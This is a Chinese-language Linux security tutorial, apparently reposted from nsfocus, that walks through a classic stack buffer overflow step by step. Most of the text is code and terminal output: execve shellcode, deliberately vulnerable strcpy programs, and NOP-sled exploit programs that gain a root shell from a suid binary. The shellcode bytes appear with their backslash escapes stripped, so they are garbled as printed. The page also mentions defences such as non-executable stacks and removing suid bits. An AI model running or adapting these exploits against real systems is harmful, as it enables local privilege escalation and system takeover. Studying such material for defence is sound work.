当前位置:Linux教程 - Shell - shellcode技术探讨续二

shellcode技术探讨续二

概述:

本文给出一个完整的利用缓冲区溢出取得root shell的
示例,只要你照着步骤一步步下来,就不会觉得它的神秘,
而我的意图正在于此。如果看不明白什么地方,可以在这里
提问,mail to: ,或者到绿色兵团的
Unix安全论坛上提问,tt在那里。水木清华97年以前就大范
围高水平讨论过缓冲区溢出,你没赶上只能怪自己生不逢时。

测试:

RedHat 6.0/Intel PII

目录:

1. 先来看一次缓冲区溢出
2. 研究这个溢出
3. 修改代码加强理解
4. 进一步修改代码
5. 还想到什么
6. 堆栈可执行
7. 一个会被缓冲区溢出攻击的程序例子
8. 利用缓冲区溢出取得shell
9. 分析取得shell失败的原因
10. 危险究竟在于什么
11. 待溢出缓冲区不足以容纳shellcode时该如何溢出
12. 总结与思考

1. 先来看一次缓冲区溢出

vi shelltest.c

/* 这是原来的shellcode */
/*
char shellcode[] =
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/sh";
*/

/* 这是我们昨天自己得到的shellcode */
char shellcode[] =
"xebx1fx5ex89x76x09x31xc0x88x46x08x89x46x0dxb0x0b"
"x89xf3x8dx4ex09x8dx56x0dxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/ksh";

char large_string[128];

int main ()
{
char buffer[96];
int i;
long * long_ptr = ( long * )large_string;

for ( i = 0; i < 32; i++ )
{
/* 用buffer地址一路填写large_string,一个指针占用4个字节 */
*( long_ptr + i ) = ( int )buffer;
}
for ( i = 0; i < strlen( shellcode ); i++ )
{
large_string[ i ] = shellcode[ i ];
}
/* 这个语句导致main()的返回地址被修改指向buffer */
strcpy( buffer, large_string );
}

gcc -o shelltest shelltest.c
./shelltest
exit

这个程序所做的是,在large_string中填入buffer的地址,并把shell代码
放到large_string的前面部分。然后将large_string拷贝到buffer中,造成它溢
出,使返回地址变为buffer,而buffer的内容为shell代码。这样当程序试图从
main()中返回时,就会转而执行shell。

scz注:原文有误,不是试图从strcpy()返回,而是试图从main()返回,必须
区别这两种说法。

2. 研究这个溢出

在shellcode后面大量追加buffer指针,这是程序的关键所在,只有这样才能
使得buffer指针覆盖返回地址。其次,返回地址是四字节四字节来的,所以
在程序中出现的128和96不是随便写的数字,这些4的整数倍的数字保证了
在strcpy()调用中能恰好对齐位置地覆盖掉返回地址,否则前后一错位就
不是那么回事情了。

要理解程序的另外一个关键在于,堆是位于代码下方栈上方的。所以buffer
的溢出只会朝栈底方向前进,并不会覆盖掉main()函数本身的代码,也是附和
操作系统代码段只读要求的。不要错误地怀疑main()函数结束处的ret语句会
被覆盖,切记这点。很多阅读该程序的兄弟错误地认为buffer位于代码段中,
于是一路覆盖下来破坏了代码本身,昏倒。

3. 修改代码加强理解

我们先只做一个修改:

for ( i = 0; i < 32; i++ )
{
/* 用shellcode地址一路填写large_string,一个指针占用4个字节 */
*( long_ptr + i ) = ( int )shellcode;
}

返回地址被覆盖成shellcode指针,同样达到了取得shell的效果。

4. 进一步修改代码

char shellcode[] =
"xebx1fx5ex89x76x09x31xc0x88x46x08x89x46x0dxb0x0b"
"x89xf3x8dx4ex09x8dx56x0dxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/ksh";

char large_string[128];

int main ()
{
char buffer[96];
int i;
long * long_ptr = ( long * )large_string;

for ( i = 0; i < 32; i++ )
{
/* 用shellcode地址一路填写large_string,一个指针占用4个字节 */
*( long_ptr + i ) = ( int )shellcode;
}
/* 这个语句导致main()的返回地址被修改指向buffer */
strcpy( buffer, large_string );
}

啊哈,还是达到了效果。完全没有必要把shellcode拷贝到buffer中来嘛,定义
buffer的唯一作用就是利用获得堆指针进而向栈底进行覆盖,达到覆盖返回地址
的效果。

5. 还想到什么

既然buffer本身一钱不值,为什么要定义那么大,缩小它!

char shellcode[] =
"xebx1fx5ex89x76x09x31xc0x88x46x08x89x46x0dxb0x0b"
"x89xf3x8dx4ex09x8dx56x0dxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/ksh";

char large_string[12]; /* 修改 */

int main ()
{
char buffer[4]; /* 修改 */
int i;
long * long_ptr = ( long * )large_string;

for ( i = 0; i < 3; i++ ) /* 修改 */
{
/* 用shellcode地址一路填写large_string,一个指针占用4个字节 */
*( long_ptr + i ) = ( int )shellcode;
}
/* 这个语句导致main()的返回地址被修改指向buffer */
strcpy( buffer, large_string );
}

打住,再修改就失去研究的意义了。

6. 堆栈可执行

在这里我们需要解释一个概念,什么叫堆栈可执行。
按照上述第1条目中给出的代码,实际上shellcode进入了堆区甚至栈区,
最终被执行的是堆栈中的数据,所谓堆栈可执行,大概是说允许堆栈中
的数据被作为指令执行。之所以用大概这个词,因为我自己对保护模式
汇编语言不熟悉,不了解具体细节,请熟悉的兄弟再指点。许多操作系
统可以设置系统参数禁止把堆栈中的数据作为指令执行,比如solaris
中可以在/etc/system中设置:

* Foil certain classes of bug exploits
set noexec_user_stack = 1

* Log attempted exploits
set noexec_user_stack_log = 1

Linux下如何禁止堆栈可执行我也没仔细看过相关文档,谁知道谁就说
一声吧。

按照上述第3条目及其以后各条目给出的代码,实际上执行了位于数据段
.data中的shellcode。我不知道做了禁止堆栈可执行设置之后,能否阻止
数据段可执行?谁了解保护模式汇编,给咱们讲讲。

即使这些都被禁止了,也可以在代码段中嵌入shellcode,代码段中的
shellcode是一定会被执行的。

可是,上面的讨论忽略了一个重要前提,我们要溢出别人的函数,而
不是有源代码供你修改的自己的函数。在这个前提下,我们最可能利用的
就是第一种方式了,明白?

7. 一个会被缓冲区溢出攻击的程序例子

我们仅仅明白了如何利用缓冲区溢出修改函数的返回地址而已。可前面修改的
是我们自己的main()函数返回地址,没有用。仔细想想,如果执行一个suid了
的程序,该程序的main()函数实现中有下述代码:

/* gcc -o overflow overflow.c */
int main ( int argc, char * argv[] )
{
char buffer[ 16 ] = "";
if ( argc > 1 )
{
strcpy( buffer, argv[1] );
puts( buffer );
}
else
{
puts( "Argv[1] needed!" );
}
return 0;
}

[[email protected] /home/scz/src]> ./overflow 0123456789abcdefghi
0123456789abcdefghi
[[email protected] /home/scz/src]> ./overflow 0123456789abcdefghij
0123456789abcdefghij
Segmentation fault (core dumped)
[[email protected] /home/scz/src]> ./overflow 0123456789abcdefghijk
0123456789abcdefghijk
BUG IN DYNAMIC LINKER ld.so: dl-runtime.c: 61: fixup: Assertion ``((reloc->r_info) & 0xff) == 7'' failed!
[[email protected] /home/scz/src]> ./overflow 0123456789abcdefghijkl
0123456789abcdefghijkl
Segmentation fault (core dumped)
[[email protected] /home/scz/src]> gdb overflow
GNU gdb 4.17.0.11 with Linux support
This GDB was configured as "i386-redhat-linux"..
(gdb) target core core < -- -- -- 调入core文件
Core was generated by ``./overflow 0123456789abcdefghijkl''.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Reading symbols from /lib/ld-linux.so.2...done.
#0 0x40006c79 in _dl_load_cache_lookup (name=Cannot access memory at address 0x6a69686f.
) at ../sysdeps/generic/dl-cache.c:202
../sysdeps/generic/dl-cache.c:202: No such file or directory.
(gdb) detach < -- -- -- 卸掉core文件
No core file now.
(gdb)

8. 利用缓冲区溢出取得shell

/* gcc -o overflow_ex overflow_ex.c */

#define BUFFER_SIZE 256
#define DEFAULT_OFFSET 64

unsigned long get_esp ()
{
__asm__
("
movl %esp, %eax
");
}

int main ( int argc, char * argv[] )
{

char shellcode[] =
"xebx1fx5ex89x76x09x31xc0x88x46x08x89x46x0dxb0x0b"
"x89xf3x8dx4ex09x8dx56x0dxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/ksh";

char * buffer = 0;
unsigned long * pAddress = 0;
char * pChar = 0;
int i;
int offset = DEFAULT_OFFSET;

buffer = ( char * )malloc( BUFFER_SIZE * 2 + 1 );
if ( buffer == 0 )
{
puts( "Can''t allocate memory" );
exit( 0 );
}
pChar = buffer;
/* fill start of buffer with nops */
memset( pChar, 0x90, BUFFER_SIZE - strlen( shellcode ) );
pChar += ( BUFFER_SIZE - strlen( shellcode ) );
/* stick asm code into the buffer */
for ( i = 0; i < strlen( shellcode ); i++ )
{
*( pChar++ ) = shellcode[ i ];
}
pAddress = ( unsigned long * )pChar;
for ( i = 0 ; i < ( BUFFER_SIZE / 4 ); i++ )
{
*( pAddress++ ) = get_esp() + offset;
}
pChar = ( char * )pAddress;
*pChar = 0;
execl( "/home/scz/src/overflow", "/home/scz/src/overflow", buffer, 0 );
return 0;
}

程序中get_esp()函数的作用就是定位堆栈位置。首先分配一块内存buffer,然后在buffer的前面部分
填满NOP,后面部分放shellcode。最后部分是希望程序返回的地址,由栈顶指针加偏移得到。当以buffer
为参数调用overflow时,将造成overflow程序的缓冲区溢出,其缓冲区被buffer覆盖,而返回地址将指向
NOP指令。

[[email protected] /home/scz/src]> gcc -o overflow_ex overflow_ex.c
[[email protected] /home/scz/src]> ./overflow_ex
... ...
.../bin/ksh...
... ...
Segmentation fault (core dumped)
[[email protected] /home/scz/src]>

失败,虽然发生了溢出,却没有取得可以使用的shell。

9. 分析取得shell失败的原因

条目7中给出的源代码表明overflow.c只提供了16个字节的缓冲区,
按照我们前面讨论的溢出技术,overflow_ex导致overflow的main()函数的返回地址被0x90覆盖,
没有足够空间存放shellcode。

让我们对overflow.c做一点小小的调整以迁就overflow_ex.c的成功运行:

old: char buffer[ 16 ] = "";
new: char buffer[ 256 ] = "";

[[email protected] /home/scz/src]> ./overflow_ex
... ... < -- -- -- NOP指令的汉字显示
.../bin/ksh...
... ... < -- -- -- 返回地址的汉字显示
$ exit < -- -- -- 取得了shell
[[email protected] /home/scz/src]>

10. 危险究竟在于什么

假设曾经发生过这样的操作:

[[email protected] /home/scz/src]> chown root.root overflow
[[email protected] /home/scz/src]> chmod +s overflow
[[email protected] /home/scz/src]> ls -l overflow
-rwsr-sr-x 1 root root overflow
[[email protected] /home/scz/src]>

好了,麻烦就是这样开始的:

[[email protected] /home/scz/src]> ./overflow_ex
... ... < -- -- -- NOP指令的汉字显示
.../bin/ksh...
... ... < -- -- -- 返回地址的汉字显示
# id < -- -- -- 你得到了root shell,看看你是谁吧
uid=500(scz) gid=100(users) euid=0(root) egid=0(root) groups=100(users)
~~~~~~~~~~~~~~~~~~~~~~~~~ 昏倒
# exit
[[email protected] /home/scz/src]> id
uid=500(scz) gid=100(users) groups=100(users)
[[email protected] /home/scz/src]>

至此你应该明白如何书写自己的shellcode,如何辨别一个shellcode是否
真正是在提供shell而不是木马,什么是缓冲区溢出,究竟如何利用缓冲区
溢出,什么情况下的缓冲区溢出对攻击者非常有利,suid/sgid程序的危险
性等等。于是你也明白了,为什么某些exploit出来之后如果没有补丁,
一般都建议你先chmod -s,没有什么奇怪,虽然取得shell,但不是
root shell而已。

11. 待溢出缓冲区不足以容纳shellcode时该如何溢出

vi overflow.c

/* gcc -o overflow overflow.c */
int main ( int argc, char * argv[] )
{
char buffer[ 9 ] = "";
if ( argc > 1 )
{
strcpy( buffer, argv[1] );
puts( buffer );
}
else
{
puts( "Argv[1] needed!" );
}
return 0;
}

---------------------------------------

vi overflow_ex.c

/* gcc -o overflow_ex overflow_ex.c */

#define BUFFER_SIZE 256

/* 取栈基指针 */
unsigned long get_ebp ()
{
__asm__
("
movl %ebp, %eax
");
}

int main ( int argc, char * argv[] )
{

char shellcode[] =
"xebx1fx5ex89x76x09x31xc0x88x46x08x89x46x0dxb0x0b"
"x89xf3x8dx4ex09x8dx56x0dxcdx80x31xdbx89xd8x40xcd"
"x80xe8xdcxffxffxff/bin/ksh";

char * buffer = 0;
unsigned long * pAddress = 0;
char * pChar = 0;
int i;

buffer = ( char * )malloc( BUFFER_SIZE * 2 + 1 );
if ( buffer == 0 )
{
puts( "Can''t allocate memory" );
exit( 0 );
}
pAddress = ( unsigned long * )buffer;
for ( i = 0 ; i < ( BUFFER_SIZE / 4 ); i++ )
{
*( pAddress++ ) = get_ebp() + BUFFER_SIZE;
}
pChar = buffer + BUFFER_SIZE;
/* fill start of buffer with nops */
memset( pChar, 0x90, BUFFER_SIZE - strlen( shellcode ) );
pChar += ( BUFFER_SIZE - strlen( shellcode ) );
/* stick asm code into the buffer */
for ( i = 0; i < strlen( shellcode ); i++ )
{
*( pChar++ ) = shellcode[ i ];
}
*pChar = 0;
execl( "/home/scz/src/overflow", "/home/scz/src/overflow", buffer, 0 );
return 0;
}

[[email protected] /home/scz/src]> ./overflow_ex
... ... < -- -- -- 返回地址的汉字显示
... ... < -- -- -- NOP指令的汉字显示
.../bin/ksh... < -- -- -- shellcode的汉字显示
$ exit < -- -- -- 溢出成功,取得shell
[[email protected] /home/scz/src]>

warning3注:对于简单的弱点程序,这种方法是可行的.不过如果问题
函数有很多参数,并且这些参数在strcpy()之后还要使用的话,这种方
法就很难成功了.
例如:
vulnerable_func(arg1,arg2,arg3)
{
char *buffer[16];
...
strcpy(buffer,arg1);
...
other_func(arg2);
...
other_func(arg3);
...
}
如果直接覆盖,就会导致arg1,arg2,arg3也被覆盖,函数就可能不能正常返回.

Aleph1的办法是将shellcode放到环境变量里传递给有弱点的函数,用环境变量
的地址做为返回地址,这样我们可以只用24个字节的buffer来覆盖掉返回地址,
而不需要改动参数.

12. 总结与思考

上面这些例子本身很简单,完全不同于那些极端复杂的溢出例子。但无论多么
复杂,其基本原理是一样的。要完成取得root shell的缓冲区攻击:

a. 有一个可以发生溢出的可执行程序,各种Mail List会不断报告新发现的可供
攻击的程序;自己也可以通过某些低级调试手段获知程序中是否存在容易发生
溢出的函数调用,这些调试手段不属于今天讲解范畴,以后再提。
b. 该程序是root的suid程序,用ls -l确认。
c. 普通用户有适当的权限运行该程序。
d. 编写合理的溢出攻击程序,shellcode可以从以前成功使用过的例子中提取。
e. 要合理调整溢出程序,寻找(或者说探测)main()函数的返回地址存放点,找到
它并用自己的shellcode地址覆盖它;这可能需要很大的耐心和毅力。

从这些简单的示例中看出,为了得到一个可成功运行的exploit,攻击者们付出过太
多心血,每一种技术的产生和应用都是各种知识长期积累、自己不断总结、大家群策
群力的结果,如果认为了解几个现成的bug就可以如何如何,那是种悲哀。

后记:

颠峰时刻的水木清华的确不是其他站点可以大范围超越的,尽管在某些个别版面上
存在着分庭抗礼。如果你想了解系统安全,应该从水木清华 Hacker 版98.6以前的
所有精华区打包文件开始,那些旧日的讨论和技术文章在现在看来也值得初学者仔
细研读。

文章的宗旨并不是教你进行实际破坏,但你掌握了这种技术,或者退一步,了解过这
种技术,对于狂热爱好计算机技术的你来说,不是什么坏事。也许在讨论它们的时候,
某些人企图阻止过你了解它们,或者当你想了解它们的时候,有人给你带来过不愉快
的感受,忘记这些人,just do it! 只是你还应该明白一些事实,看过<<这个杀手不
太冷>>没有,no children、no women,我想说的不是这个,但你应该明白我想说什么。
Good luck for you.





原作者:未知
来 源:http://www.nsfocus.com